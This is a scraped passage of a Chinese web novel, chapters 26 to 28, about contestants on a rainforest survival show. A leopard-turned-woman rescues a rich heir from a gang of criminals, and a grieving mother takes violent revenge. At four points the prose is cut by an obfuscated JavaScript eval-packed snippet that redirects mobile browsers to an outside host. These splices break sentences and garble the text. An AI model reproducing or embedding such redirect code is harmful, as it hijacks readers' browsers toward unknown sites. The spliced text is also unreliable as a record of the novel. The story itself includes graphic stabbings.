唉,连媞媞老婆亲手递过来的烤鱼都吃得不香了。 黎星言抱着背包,缩在火堆前。 温暖的焰火映在那张漂亮精致的脸上,显得越发落寞。 ……但惹人垂怜。 他无意识拢紧胸前的背包,突然,摸到什么圆圆的东西。 嗯? 嗯?! 自己之前在山地的林子里“猎”到过一颗蛋! 本打算单独留给媞媞吃,结果都怪他太任性,闹别扭这么久,也没翻过包,完全忘了这茬。 黎星言倏地拉开背包,盯着眼前这颗油光水滑、浑圆饱满的蛋。 简直难以置信,这么多天没注意,怎么感觉比印象中更大了。 big蛋! 太好了!他再也不是捕猎成功次数为0的废材一枚了! “媞媞!你看!”黎星言掏出蛋,献宝似的双手呈到云媞面前。 正要自夸自擂。 蹲坐在云媞腿边的爆爆嘶叫一声,飞跳到她肩上,一手抱紧她的脖子,另一只爪子仍紧攥着没吃完的半颗果实。 看得出力度很大,裂开的硬壳里都渗出了黏液。 “怎、怎么了!” 黎星言也被吓得一脸懵。 抬眼望去,爆爆依偎在云媞锁骨间,蓬松的白毛沾满紫色浆果汁,活像戴了顶被揉皱的睡莲王冠。 有些可怜,但耀武扬威。 将蛋放到地上,黎星言咬牙切齿走到爆爆旁边,想要揪它的耳朵,结果小崽子往里钻得更深。 “你这只色猴子!不要总是一惊一乍装柔弱,趁机往人怀里钻!” 这招虽然有效,但很可耻! 再这样,我就…… 我就要模仿猴!超越猴了! “当自己是三岁小孩吗?”黎星言恶魔低语。 爆爆怯生生扭头看他:「不是滴。」 「因为……爆爆是半岁小孩。」 自从捡到爆爆,这样一猴一人斗嘴耍宝的场景,一天能上演八百回。 小少爷跟猴杠上了似的。 大家已经从最开始的费解,到见怪不怪,微笑看戏。 谁知这次,云媞竟兀地拎起他的衣领甩到一侧。 “你为了它打我……”黎星言趴卧在地上,愣怔回眸,满眼受伤的神色。 眼看就要上演一番宫斗苦情虐恋大戏。 下一秒,只听“轰”得一声闷响。 火光冲天,霎时升到半空,迸溅的星子肆意飘旋。 就在黎星言刚刚站着的地方。 一群人尖叫着跑开。 原来是那群人点的篝火炸了。 有倒霉蛋被炸得脸都黑焦,有人烟熏火燎止不住咳嗽,还有人身上起火被其他人按在地上狂踩。 与他们狼狈的处境一相比,黎星言反而成了幸运儿。 叶玄凝眸,上前查看。 烤得黢黑的鱼肉下面,埋着一颗状似石头的物体。 外壳已被烧焦,露出赤红的金属块,几根管线痉挛般在火焰里抽搐。 “什么味啊……” 周围人纷纷捂住鼻子。 一阵浓郁的焦油味刺破浓烟。 “……仿生摄像头?” 黎星言眨了眨眼。 这是在拍纪录片时,经常会用到的道具。 将隐形摄像头放置在仿真物品中,比如石头、会游动的鱼、花草、甚至是会走的企鹅,最大限度将拍摄器械融入大自然,不被被摄物察觉。 以一种“身临其境”的状态,捕捉到被摄物最真实原本的模样。 在场的选手,大多都是头一次听到这种说法,狐疑地检查起周围。 果不其然,在还没来得及烤的几条鱼里发现异常。 外形和触感简直和鱼一模一样,甚至还能垂死挣扎地蛄蛹几下,但割开鱼眼,分明安装着两个微型摄像头。 “我靠,光有无人机还不够,还有这么多奇形怪状的东西,监视着我们的一举一动吗?” “难怪感觉少了很多无人机,我还纳闷呢,没摄像头了他们怎么拍。” “妈呀也不知道被拍到了什么,直播那头播的都是些啥……” 一时人人自危,向来口无遮拦的,此时也收敛许多。 但黎星言可高兴了。 小媳妇似的挪步到云媞身侧,偷瞄几眼,“所以……你刚才是怕我被炸到?” 马育铭惊呆了,“怎么能比爆炸反应速度还快?媞妹,你咋做到的?” 明娇娇和贺君卓分给他一个少见多怪的眼神:“才知道媞媞厉害?”“云媞姐基操了,淡定。” 爆爆也晃着毛绒绒的小尾巴,叽叽叫了几声:「麻麻敲厉害!所以我一眼就选中了麻麻!」 班列笑而不语:虽然这是我们高敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129848|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动物的基本求生技能,但姐姐是顶级掠食者里,最优秀的那个。 …… 一个一个的,烦死了! 被挤出包围圈的黎星言,甚至都听不到云媞的声音。 他孤零零蹲在火堆旁生闷气。 那颗被他放在地上的蛋,不知什么时候滚到了离火堆不足半臂的位置。 这不会也是个摄像头吧。 黎星言心虚皱眉。 刚才好不容易艳压叶玄,在媞媞和众人面前装了波大的,别搞的现在自己也看走眼、没分辨出真假。 他捧起乳白的蛋,用指尖轻戳两下。 软软的,和生活中常见的蛋有些不同。 正要翻个面,掌心突然传来怪异的触感,黏黏的,凉凉的。 像是有什么东西即将破壳而出。 黎星言凑近篝火,就着晃动的火光细细看…… “啊啊啊啊啊啊!” 蛇啊!!! – 用树枝挑出差点被烤熟的幼蛇。 通体黑亮,也不知是原本就长这样,还是被炭烤后的产物。 从不同角度看,细小的鳞片反出深紫的光泽。 传说中“五彩斑斓的黑”。 不考虑这是条蛇的话,的确属于非常漂亮耀眼的物种。 看了眼被吓得花容失色的黎星言,云媞将树枝伸到火堆上,“还要吗?不要我烤着吃了。” 感受到灼热,本就受惊的幼蛇紧紧缠绕在树枝上。 “别吧……怪残忍的。”马育铭弱弱插话,“听说蛇破壳后,会把第一眼见到的人当作妈妈。” 他虽外表上看是膀大腰粗的铁血壮汉,但其实内心还是挺柔软的。 听到这话,其余几个受过高等教育的人都仰面朝天、无力吐槽。 叶玄笑着解释:“老马,你说的那个叫印随行为,一般常见鸟类和少数哺乳动物,蛇是爬行动物,没有这种说法。” “啊那样吗?也……也不一定吧。” 他瞅着那条蛇刚才一直往黎星言的方向爬,看起来像认主似的。 黎星言听出了不对劲,“啥玩意儿?你意思是,这黑不溜秋的长虫把我当妈妈了?” 孩子这对吗?!我这么英俊潇洒风流倜傥一帅哥! 但…… 转念一想,确实有些难以下手。 毕竟是他亲手捡到后装在包里,辛苦背了一路,甚至还“幸运”在他手上降生。真要算下来,说这蛇是他“孵化”成功的都不为过。 就和爆爆一样投缘。 等等! 对于猴崽和幼蛇而言,那岂不是他是爸爸,媞媞是妈妈,他们就是相亲相爱的幸福一家人! 想到这里,黎星言心潮澎湃。 轻咳一声,当即大手一挥:“那就收下吧,好歹是一条小生命,我们要保护自然爱护动物!” 正挂在树上不敢靠近的爆爆,发出尖锐爆鸣:「补药啊啊啊啊窝好害怕!」 “好吧,给你了。” 将树枝径直抛给黎星言后,云媞走向爆爆。 小猴崽飞速爬下树干,跳到怀里,用炸毛的小脑袋蹭了蹭她的下巴。 而那边,面对“飞来横蛇”,黎星言恨不得跳出二里地。 其他人也是相互推脱几个来回。 “哎,别客气,拿着拿着。” “不了不了,还是你收着吧。” …… 渐渐的,小黑蛇终于撑开眼皮。 火堆就在眼前燃得正烈。 「不敢睁开眼,希望是我的幻觉……」 阴晴不定的超雄爸,虎毒食子的冷漠妈,对它百般刁难嫌恶的受宠长子,还有一众不欢迎它的到来的极品姑姨叔伯,唯一一个心疼它的人,也只是个地位卑微的小厮。 小黑蛇:天崩开局!要用一生去治愈的原生家庭的痛! 26. 第 26 章 过夜选在离溪流较远的林中。 因为河流在夜晚十分危险,许多夜行动物经常光顾。而且雨林多暴雨,靠近水源可能会增加突遇洪水暴涨的几率。 当然,也有很多犟种不信邪,觉得河岸的平地安静舒坦,不愿挪窝到虫蛇遍地的林子里。 叶玄和崔达等人提醒无果,也不再劝说。 林间。 树木高大密集,棕榈树硕大宽厚的枝叶,将整片天空覆盖得密不透风。 闷热潮湿的地表,蚊虫骤增。 直到火堆升起,草木灰的烟雾熏满全身,大家才敢露出口鼻。 叶玄正在搭建庇护所。 寻一根长树干绑在两根树桩中间,再取更多树枝斜搭在上面,最后用树叶、泥土或苔藓块盖在搭好的坡面上,一个最简单的“单坡式”简易帐篷就做好了。 一群接一群的选手,有样学样,将帐篷搭建在不同区域。 乍一看,像野人群居的茅草屋。 每个庇护所的背面周围,再燃一丛生火点,用来驱蚊和烘干水汽。 没过多久,明显感觉蚊子少了许多,潮湿的环境也变得舒适了些。 一些选手赶来向叶玄道谢时,他刚和崔达合伙搭建好“A”型框架庇护所,这是一种更宽敞安全的帐篷。 “没事,你们注意留人夜间盯岗。”叶玄笑容很淡,没有多少真情实感。 就好像无意间帮到他人,只是举手之劳。 绑完手上最后一簇藤条,他捻了捻指尖,朝云媞他们招手,“好了,可以休息了。” 明眼人都看得出来,他们如此用心地搭这间庇护所是为了谁。 不过在小霸王黎星言面前,也只能揣着明白装糊涂,笑着夸叶玄和崔达“大公无私”“造福于民”。 还是厚脸皮的黎星言最先钻进去。 最底层是厚厚的草埔,大家众筹的保温毯都盖在上面,柔软度勉强达标。 掏出早就备好的薄羽绒被,铺到草埔中间,黎星言拍拍“床铺”,笑得殷勤:“媞媞快来!” 跟个不值钱的暖床男宠似的。 不过云媞没搭理他,扭头看明娇娇,“你去睡那里。” “我、我吗?”有些受宠若惊。 中间的位置最安全也最舒适,明娇娇不会不明白云媞的好意。 压了一路的恐慌和疲乏,在这一瞬间莫名得到疏解。 她也毫不扭捏,道了声谢,躬身进去,还没躺下。 旁边的黎星言倏地原地翻滚360°,离明娇娇一臂远,像什么洪水猛兽似的。 “她她她睡这儿,那我……那你呢?” “你也睡到中间,”云媞径直将黎星言往里推,“我在最外面。” 叶玄和班列他们要放哨,不会睡在庇护所里。 所以,唯一的武力值云媞在外面,能够保护这里最弱的几个人。 黎少委屈,但黎少不敢多嘴。 只能侧身背对明娇娇,脊背绷得梆直。 老婆怎么能把我往别的女人那里推呢…… 瞥见他那副坚贞烈男的模样,明娇娇嗤笑,“当谁稀罕睡你旁边似的。” 她直接拽过贺君卓的衣领,让他躺在自己和黎星言的中间,“你睡这儿。” 就像三八线里的……那条线。 幸福来得太突然,贺君卓双手合十捧在心口,浑身僵硬。 他其实一直没好意思说,他做现代人时是明娇娇的粉丝。 - 暗绿漫漶。苔藓吞下最后一线月光。 人类睡去后,雨林原住民的生活才算开始。 朽木缝隙里卵鞘翕张,幼虫咬破胎衣。 腐叶堆簌簌拱动,树蛙爬出湿泥。 蕨影摇晃,菌伞膨裂,藤蔓绞杀树干…… 云媞耳尖微动,没有睁眼。 任何细微的声响,都能在她眼前自动放映。 但最吵的并不是这些。 她微偏过头。 少年侧躺在身旁,挺拔的鼻尖几乎触上她的脊背。 老实说,黎星言的睡相其实很好。 与他醒时聒噪、活力四射的状态完全不同,睡着后的他,规规矩矩老实板正,连呼吸都变得异常和缓。 他怕自己睡着后乱动、碰到不该碰的地方,甚至还用绷带把手腕绑了起来。 所以此时,他的存在感几乎为零。 但让云媞忽略身侧有人的事实,那是不可能的。 这是她第一次睡觉与人隔得如此近,一旦被身后人袭击,她或许都没办法全身而退。 云媞翻了个身,决定不再将后背留给人类。 鼻尖抵着鼻尖,两人的呼吸交融。 也不知黎星言做了什么美梦,嘴角轻扬,笑得格外甜。 他动了下。 云媞在脑中做出闪躲的反应,身子却没有动。 像是冰天雪地中寻到唯一的热源,黎星言将头埋进云媞怀中,无意识地蹭了蹭。 胸前微不可察的呢喃,还是被清晰捕捉到。 他在喊她的名字。 有些烦躁,也有些亢奋。 总之,心跳的频率变得和往常不太一样。 云媞面无表情地想。 果然,她还是适合独居,或潜伏在树上休憩。 抬起胳膊,正要推开黎星言的脑袋。 突然停住。 断枝咔嚓响动忽近忽远。 有人正在翻她放在外面的背包。 这个人的味道……有些熟悉。 “你在做什么?” 班列双手抱胸,俯视蹲在脚下的女人,语气冰冷。 女人翻包的动作一顿,犹豫片刻,缓缓转过身。 竟是张静敏。 “我、我之前听苏医生说,她的医疗箱放在这儿,”她佝偻着腰,满脸歉意,语气却很平静,“我好像被什么东西咬了,就想来找找有没有消毒的药。” “这是姐姐的包,你认错……” 班列耸了耸鼻尖,皱眉问:“你流血了?” 张静敏脸上的表情僵了一瞬,很快恢复如初,“对,那畜生咬得还不轻,所以我急着来找药,这一急,就翻错包了。” 班列对云媞以外的任何事都不感兴趣,向他解释不过是多此一举。 确认张静敏不是想要对姐姐下手,班列“哦”了一声,弓腰拾起最外边的手提箱,扔给她,“拿走吧。” 良久,这里重归宁静。 云媞睁开眼,眼底微光流转。 * 这一夜并不太平。 有人突发高烧浑身抽搐,还有人被未知爬虫啃了脚,整只脚长了水泡流脓溃烂。 一阵接一阵的骚乱。 一夜混沌。 黎星言头痛欲裂,满脸不爽地睁开眼。 入目是云媞放大版的高清脸蛋。 …… 爽了!头也不疼了!一口气能爬八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“说你俩真是般配……原来是这种般配。”吴光豪嗤笑。 “少在这儿血口喷人!” 黎星言举着木棍跑过来,挥舞双臂,不让其他人靠近云媞。 “班列搞丢医疗箱就去找班列,蛇是我捡的,与云媞无关,”他紧蹙眉头,很是不解,“况且那蛇刚破壳,皮都啃不破,怎么咬伤人?” 高素质的文明人还指望讲道理。 但在这里,逻辑是行不通的。 叶玄开口:“我说过,每个庇护所至少留一人守夜,有多少人做了?” 他蹲身,捡起结块的草木灰,扔到叫嚣得最欢的几人面前,“火堆都受潮了,至少熄灭了三四个小时,没有烟熏,蛇虫就更加肆无忌惮。” “这里是雨林,不是郊外露营地,还有,”叶玄顿了下,一字一句地说,“这是场比赛,我没有义务对你们施与援手,更不对你们的生命负责,好自为之。” 云媞始终无言。 甚至注意力都没有放在这里任何人身上。 她的目光穿过层层树干,与百米开外的张静敏遥遥相望。 是血腥气,即使洗过很多遍,依然掩盖不了的气息。 “老叶!云媞!” 崔达雄浑的声音中带着一丝慌乱。 “有人在河边发现了一具尸体,是……” “是项雄!” 27. 第 27 章 项雄死了。 被发现时,血肉模糊,不知是被熊还是食人鱼啃咬过。 总之,只剩半个身子泡在水里。 短短几个小时,已经被密密麻麻的蚊子和蛆虫覆盖。 虽然死的是个臭名昭著的坏人,但显然,并没有多少人因此庆幸。 大家开始意识到,死亡原来离自己那么近。 节目组的劝诫并非空穴来风。 是此前的氛围过于轻松,让他们忘了这个综艺的宗旨:寻找生的方向。 这也意味着,随时都可能迷失在死亡的阴影里。 毒虫的攻击、同类的猜忌、仿生摄像头无处不在的监视、持续的昏暗阴湿的环境…… 在这种压抑的情绪下,行走了两日。 河流消失了。 一直作为“生的方向”的指示标,卡在岩石缝隙,溪水源头被斩断。 像是所有希望轰然坍塌。 有人当场崩溃大哭。 想要通过手环联系节目组、退出录制。 但太阳能手环几日不见阳光,电量严重告急,【SOS】的红色按键闪烁几下,像临终前的哀鸣,随即黑屏。 叶玄和崔达几人爬上岩石后发现,或许受头天那场暴雨影响,河流反复改道,水源的确从这里断流。 只能另寻其他水源。 但眼下大部分人负压太重,生理和心理双重折磨,根本无力前行。 不过倒还有力气推诿扯皮、互相谩骂。 其中被骂的最多的当属叶玄。 骂他决策屡屡出错,骂他看似见多识广实则虚之,还有人置喙他的身份。 “我之前在名单上看到他,好奇去查了,他特种兵出身没错,但因为严重违反纪律被退兵,然后跑去国外当雇佣兵,杀人越货,谁知道手上染了……” 与对方冰冷肃杀的视线,撞到一起后,当即噤声。 换个人再骂。 骂黎星言。 太有钱是错,长得太帅太细嫩也是错,拿钱差人办事更是大骂特骂。 “也是蠢得没边了,真相信黎少爷的口头报偿?像他这样的身份,出去了还能搭理你们这群下等人?恐怕一辈子都攀不上了!” 与对方气得跳脚的视线,撞到一起后,当即……骂得更欢。 不一定是觉得黎星言本人不好,但一定仇富,特别是富到他这种程度的,简直令人发指。 骂来骂去,但没人敢骂云媞。 因为她是真的会下死手打人。 还有她养的猴子,也会爬到树上,趁机跳下来扣人眼珠子。 况且她手上还有枪。 这是个神奇的宝物。 作为花豹的云媞,很小的时候就见过类似的物件。 金属外壳里射出的东西,快到一向以速度著称的猎豹都躲避不及。 她也曾亲眼目睹过豹阿姨被射穿小腿,拖着残躯爬上树,与那群人僵持几日。 直到对方撤退,它才不堪重负,从树杈上掉落,然后被群狮撕咬。 分不清是动物残酷,还是人类残酷。 云媞把玩着手上小小的物件。 抬眸,与恶人团那群人的目光交错一瞬,再移到眼神闪躲的张静敏身上。 她、他们,想用这东西。 杀动物,还是杀人呢。 * 日光很快被高耸入云的树冠遮蔽。 黎星言环顾身周,穿过丛林。 不远处,影影绰绰的几人似乎早已恭候多时。 其实他从几天前就察觉到不对劲。 吴光豪引导其他人,刻意刁难叶玄和媞媞;在寻路中,也时不时干扰叶玄和崔达的判断。 他现在甚至怀疑,是他们指使张静敏弄丢医疗箱,引起选手内部的骚乱。 听到黎星言的质问,沈泰和吴光豪等人相视而笑。 “看来这傻白甜少爷还没想象中那么蠢嘛。”吴光豪慢悠悠踱步上前。 死死盯着黎星言看了数秒,问:“为什么你看起来很生气?这不是你的指示吗?” “我什么时候指使你们这么做了!” 沈泰起身,拂开吴光豪,正要拍拍黎星言的肩膀,却被对方嫌恶地躲开。 陈荣反应极快,当即按住黎星言的胳膊,力气大到他压根没法动弹。 “替你教训叶玄,让他在大家面前出丑、失去威望……” 一字一句复述出黎星言曾经的“合作诉求”,沈泰眼底的笑意不减,“我如约完成了,怎么?黎少爷不满意吗?” 黎星言瞠目结舌,“我只是让你们小小地为难他一下,没有叫你们闹出人命!” 沈泰笑着摇头,似乎被这单纯的少年逗乐了。 “黎星言,”吴光豪扬下巴,逗狗似的“哟”了一声,“再告诉你一件事呗。” “那天晚上,还是我和项雄把大家的火堆踩灭了,再偷偷往他们的睡袋里加了些料……” 毒蜘蛛、蝎子、蜈蚣、箭毒蛙……抓这些东西可费了他们很大劲儿呢。 不过,好在效果不错。 “很热闹哦,你有没有看到那些人疼到满地打滚的模样?” 看到黎星言不可置信的愤怒表情,吴光豪顿了一下,“哦差点忘了,少爷在美人怀里睡得正香,怎么会关心那些下等人的死活。” 可恶!混蛋!该死! 黎星言还没骂出声,就被陈荣一把压倒在地面。 厚厚的枯叶下,是腐殖土糜烂的味道。 “嘭”得一声,什么东西砸下,面前的残叶枯枝飞起,直冲入鼻。 呛得黎星言几乎睁不开眼。 雾气迷蒙中,余光里只剩一抹白。 “打开。” 沈泰坐在白色行李箱上,点了点侧边的锁扣。 黎星言愣怔片刻,才反应过来,“你们偷我东西?!” “诶,这怎么能叫偷呢?我们不是盟友吗?”沈泰敛了笑,“还是说,想让我亲自去找云媞开?” “不好吧,被那姑娘知道,原来我们表面高高在上的黎少爷,实际上背地里和一群恶徒混在一起,还想要加害自己的同伴……” 吴光豪啧啧两声:“人废材心还毒,那句话怎么说来着,金子镶在外面,里面其实都是烂棉花……” 此话一出,其他人都憋不住笑了。 若是放在以前,黎星言也是要大笑特笑的。 但此时,他完全笑不出来。 “别、别说。” 黎星言艰难开口,声音哑然:“我开。” 衣物、食品、几个首饰盒、一个钱包。 钱包打开后是一沓现金和几张银行卡,其中两张还是无限额黑卡。 吴光豪和陈荣眼睛都亮了。 将卡放在手电筒下,正反来回翻看,又贴在衣服上擦了擦,眼底的贪婪满溢而出。 “看来张静敏说得没错啊!” 之前张静敏跟项雄说“偶然看见黎少爷的行李箱里,有很多值钱的东西,可以想个法子搞来,这样比赛都不用参加了。” 他们一直在找机会下手,但无人机太多,黎星言又天天跟在云媞屁股后面,很难得逞。不过,也幸亏如此,让他们顺带着躲过沙尘暴,还将黎星言骗到了车上。 那次虽没有立马奏效, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129850|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但顺利传达了他们“愿意帮他教训叶玄”的合作意向。 在雨林集合点,担心节目组工作人员会劝黎星言回去,他们故意在他养病的隔壁房说了些意味不明的话,让他以为云媞已被盯上,主动自投罗网。 实际上,他们的目标,一直都是人傻钱多的黎星言。 当然,如果能顺手搞到那把枪,对于他们的旅程来说,会更加完美。 手仍然在行李箱内翻找。 直到摸到最下面的隔层网袋,似乎是一个方形的盒子。 沈泰将手电筒往里照了照,紫檀木首饰盒。 上面的雕花图腾,精巧细腻。 真讽刺,有钱人的一个木盒就够买几条低贱的人命。 见沈泰就要打开盒子。 黎星言突然疯狗似的扑过来,“这个不准碰!” 这反应…… 吴光豪一脚踹向黎星言胸口。 陈荣反手钳住他的胳膊,另一只手攥紧发根,迫使扑倒在地的黎星言仰起头。 平日里趾高气昂的小少爷,此时脸上沾了泥灰和碎叶,满眼通红,怀里还死死抱着木盒。 眼底那股倔劲,像一只犹斗的困兽。 有破碎,更有傲气。 “真漂亮。” 沈泰站在黎星言面前,垂眼观摩片刻,慨叹,“有钱人家养出的小孩,确实不一样。” 像上流阶级的艺术品,偶然坠落到穷苦人家的手中。 从最初的忌惮,到欣喜,然后是……想碾碎的破坏欲。 “我突然改变主意了。” 沈泰抬脚,用沾满泥土的鞋底,狠狠踩在黎星言脸上,“华国首富的宝贝儿子,是不是更好玩儿?” – “云媞姐!云媞姐!” 贺君卓找到云媞时,她正站在巨树的枝桠上摘野果。 爆爆坐在一旁,吃得满嘴紫红。 “我、我找不到言哥了……” 小黑蛇突然垂下,攀着细长的藤蔓摇晃。 嘶嘶的声音,吓得贺君卓浑身直掉鸡皮疙瘩。 下一秒,云媞从树梢跃下。 七八米高,轻盈得仿佛只是下了一节台阶。 来不及思索这其中的不寻常,贺君卓火急火燎,拉着云媞往回走。 “言哥说要去上个厕所,结果到现在都不见人影,我怕是出什么事了……” 贺君卓絮絮叨叨。 但云媞没有太担心,她走时将“保护黎星言”的重任交给了斑斑。 以他的能力,不至于连个人都看不住。 直到见到叶玄、明娇娇、马育铭皆是一脸焦灼,班列也不知去哪儿了,云媞才意识到事情的严重性。 爆爆不安地叫起来,小黑蛇也盘在头顶的树藤上,频繁吐信子。 所有人里面,只有云媞显得最淡定。 但也只是显得。 她沉下心,试图通过嗅觉判断黎星言所在的方位。 闻不到。 气味过淡,说明不在附近。 谁带走了他,或是他主动去见谁了。 环顾四周,每个人的脸,都在云媞的记忆库扫描提取。 “沈泰。” “吴光豪。” “陈荣。” 云媞一字一顿,念出这几个缺席人的名字。 “还有……” “我找到黎小少爷了!” 张静敏慌慌张张从林中跑来,满面愁容,气都来不及喘,“他、他被沈泰他们带走了!” 不用数了。 云媞冷冰冰看着她。 最后一个缺席的人,到了。 28. 第 28 章 意识到沈泰想要对自己做什么,黎星言瞪圆眼睛,全身愤怒地发抖。 他咬紧牙关,奋力挣脱陈荣的束缚,转眼又被吴光豪按住。 寡不敌众,况且温室里长大的花朵,怎么能是野外肆意蔓延的蛇藤的对手。 “少爷怎么不继续搬出你那牛逼哄哄的爹妈了?”吴光豪收紧臂弯,钳住黎星言的脖子。 直到看到他那张精致脸蛋憋到通红,一副濒死的模样,才心满意足地大笑:“平时不是挺嚣张的吗?你再拿眼皮子瞅我试试?” 他还记得,第一次见到黎星言时,对方眼底的鄙夷和轻蔑。 那时他就在想,总有一天要将这高高在上的少爷踩在脚下,让他像只哈巴狗一样,摇着尾巴朝自己磕头求饶。 “小豪。”沈泰面色不虞。 吴光豪随即松手,讥笑地看了黎星言一眼,扬手后退,“嘚,泰哥,您继续。” 他的愿望或许只能实现一半。 但现下,黎星言落在男女老少通吃的死变态手里,会有一种更屈辱的方式调教这位少爷,何乐不为? “别过来!” 黎星言从外套口袋掏出一把军刀,眼眶涨得通红,“敢靠近一步,我就捅死你们!” 这是节目组发的急救包里,自带的一把刀。 他从来没取出来正眼看过一次。 拔刀鞘时,因为紧张,锋利的刀刃反倒在他虎口先划了一刀。 鲜血霎时冒出。 苔藓层、石缝、枯枝败叶覆盖的地表,无数嗜血的生物闻风而动,等待弱小的猎物被击败后,分上一杯羹。 沈泰眼中笑意愈盛,“小少爷第一次碰刀吧?会玩儿吗?” 像一只炸毛的缅因猫,越愤怒,越显得可爱。 他掌心向上,伸出右手,“来,给我吧,别伤到了自己……” 话音未落,一阵疾风闪过。 沈泰还未反应过来,那道身影更快,从天而降,一刀直插在他手心。 纤巧的双腿盘旋缠在脖间,反势下压,竟将一个一米八几的壮汉直接掀翻在侧。 铁塔一般轰然倒地。 被军刀贯穿的右手钉到泥地里,震起一圈落叶。 手心的巨痛像刚放开水闸一样,猛得袭来。 沈泰撕心裂肺哀嚎一声,压着颤抖的手腕蜷缩起来。 太快了。 待一切发生,吴光豪和陈荣才看清眼前的场景。 两人瞬间变了脸色,抽刀,迎面奔去。 “爆爆!小黑!”云媞偏头。 猴崽不知从哪儿晃荡过来,精准落到黎星言肩头。 小黑也从地表厚厚的叶子里钻出,用长长的蛇尾圈住黎星言的脚,嘶嘶吐信子。 一猴一蛇像保护兽似的,紧紧守在黎星言身边。 「不要怕!麻麻会帮你教训那群坏蛋的!」 「没错!保护好废物爹!」 看清面前人的脸,吴光豪和陈荣皆是一愣。 知道云媞有些本事,但没想到她胆子这么大。 “哟,一个人来的?”吴光豪挑眉。 沈泰躺在一边狂叫,“给老子弄死她!” 两个武力值不高就会装逼的跟班,一个有些手段但目前痛感强烈、没法立即动手的黑老大。 云媞沉眸,挑衅道:“少废话,一起上。” 独行侠花豹不像群居动物,可以配合作战。但它们依旧能成为顶级掠食者,靠的不是蛮力,而是智慧。 隐蔽、伏击、攀高、扑杀,速战速决,极少迎面硬碰硬。 像魅影一样神秘且优雅。 成功被激怒的两人,一左一右包抄夹击。 下一秒,两人狠狠撞在一起。 而刚才还站在中间的云媞瞬间没了影。 风过无痕,两人面面相觑,扭着脑袋左右寻找。 “蠢货!在头……” 一根藤蔓倏地垂下,云媞盘腿坐在一根细长的树枝上,笑着问:“嗨,在找我吗?” 只是礼貌问问,不想听到回答。 她攀上藤条,刺啦一声,从树冠跃出。 以一种不符合人体生理构造的姿势,在半空中翻转身躯,一鞭腿,将吴光豪狠狠甩飞。 另一侧,陈荣狞起脸,举刀刺向云媞。 似乎脑后也长了眼睛,女孩甚至都没回头,下腰侧身,轻松晃过袭击,在男人慌神之际,一个滑铲,从对方身下掠过。 “你输了。” 云媞平地跃起,腿风扫过他的后脑勺。 男人踉跄几步,背后一股强劲的推力,让他难以控制自己的身体。 手上的刀顺着搀倒的动作,精准插进吴光豪脊背。 吴光豪闷哼一声,不可置信地艰难扭头,再垂眼看向背上那把深不见刃的刀柄。 刚要说话,一口血直接喷了出来。 “云媞姐言哥啊啊啊啊我们来了!” “媞媞别怕!!!” “沈泰吴光豪陈荣拿命来!!!” …… 一群人气势汹汹接踵而来,不知道的还以为是超市开业抢鸡蛋了。 定睛一看。 两个男人以自相残杀的姿势,趴在地上痛苦呻.吟。 这……这才跑慢几分钟,刺激战场就结束了?! 众人哑口无言,震惊地望向云媞。 卧槽!恐怖如斯!!! 沈泰见大势已去,猫起身子,试图从树后逃跑。 转身,与张静敏迎面撞上。 “还记得童彤吗?”张静敏问。 “什么铜铜银银的,死女人别挡道!”沈泰捂着血流不止的右手,压低声音。 见女人兀地露出笑容,沈泰只觉晦气得很,顺手将她推开。 “刺啦” 低头一看,一把刀插进胸口。 沈泰回过神,骂骂咧咧抓起张静敏的头发,一脚踹开。 张静敏却像疯了似的,倏地爬起来,用尽全身力气撞倒体力不支的男人。 拔出刀,插下。 再拔出,再插下。 “去死!” “去死!” “去死!” 似乎陷入某种癔症,她像失去了自我意识的机器,反反复复手上的动作。 直到身下男人被捅得千疮百孔,嘴里的鲜血汩汩涌出; 直到四周全是倒吸一口凉气的声音,大家像看怪物一样,惊恐而惧怕地连连后退; 直到空气中一片死寂。 落叶在飘,虫在叫,泥土不堪重负地震颤。 雨林闷热的风,将张静敏的头发吹到黏满双眼。 迷迷糊糊中,14岁的女儿童彤背着书包,站在她面前,笑眯眯地问:“妈妈,今天晚上我还想吃香煎草鱼,可以嘛?” 她温柔应好。 可那天晚上,童彤没有回家。 项雄被依法逮捕,判处八年有期徒刑,罪名是强.奸。 可童彤连尸体都找不到。 张静敏一直在等他出狱,想要问清女儿的下落,却没曾想等到他直接报名参加比赛的消息。 手无寸铁的女人,抱着一口经常给女儿煎鱼的平底锅,就这么跟了过来。 她用尽办法主动接近项雄,想过收集证据等出去后报警翻案,用法律制裁他们。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129851|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 